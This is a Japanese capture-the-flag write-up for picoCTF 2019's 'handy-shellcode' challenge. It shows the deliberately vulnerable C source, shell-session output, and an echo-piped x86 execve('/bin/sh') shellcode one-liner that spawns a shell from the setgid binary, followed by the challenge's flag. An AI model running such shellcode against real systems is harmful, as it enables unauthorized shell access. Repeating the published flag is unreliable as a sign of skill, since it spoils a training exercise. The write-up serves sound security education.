picoCTF2019 handy-shellcode [Binary Exploitation]

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af on the shell server. Source.
(適当な訳)このプログラムは指定したシェルコードを実行します。シェルを生成し、それを使用してflag.txtを読み取ることはできますか?
Hints: You might be able to find some good shellcode online.
(適当な訳)いいシェルコードはオンラインで見つけることができます

与えられたソースコード(vuln.c)は以下のようになっている。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
 gets(buf);
 puts(buf);
}

int main(int argc, char **argv){

 setvbuf(stdout, NULL, _IONBF, 0);
 
 // Set the gid to the effective gid
 // this prevents /bin/sh from dropping the privileges
 gid_t gid = getegid();
 setresgid(gid, gid, gid);

 char buf[BUFSIZE];

 puts("Enter your shellcode:");
 vuln(buf);

 puts("Thanks! Executing now...");
 
 ((void (*)())buf)();


 puts("Finishing Executing Shellcode. Exiting now...");
 
 return 0;
}

picoCTFのシェルサーバから問題文にあるディレクトリに移動して確認してみる。

$ cd /problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af

$ ls -la
total 732
drwxr-xr-x   2 root       root                4096 Sep 28 21:53 .
drwxr-x--x 684 root       root               69632 Oct 10 18:02 ..
-r--r-----   1 hacksports handy-shellcode_3     39 Sep 28 21:53 flag.txt
-rwxr-sr-x   1 hacksports handy-shellcode_3 661832 Sep 28 21:53 vuln
-rw-rw-r--   1 hacksports hacksports           624 Sep 28 21:53 vuln.c

$ ./vuln
Enter your shellcode:
foo
foo
Thanks! Executing now...
Segmentation fault (core dumped)

$ file vuln
vuln: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=7b65fbf1fba331b6b09a6812a338dbb1118e68e9, not stripped

flag.txtがあるが、パーミッションがないため閲覧できない。vulnを実行するとシェルコードの入力を求められて、適当な文字を入れるとSegmentation falutで終了する。

ここのサイトからx86で使えそうなシェルコードを探して、実行するとシェルが起動できるのでフラグが手に入る。​

$ (echo -e "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";cat) | ./vuln
Enter your shellcode:
1���
   Qh//shh/bin��
Thanks! Executing now...
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}

答え:picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}

picoCTF write-upまとめ

いいなと思ったら応援しよう!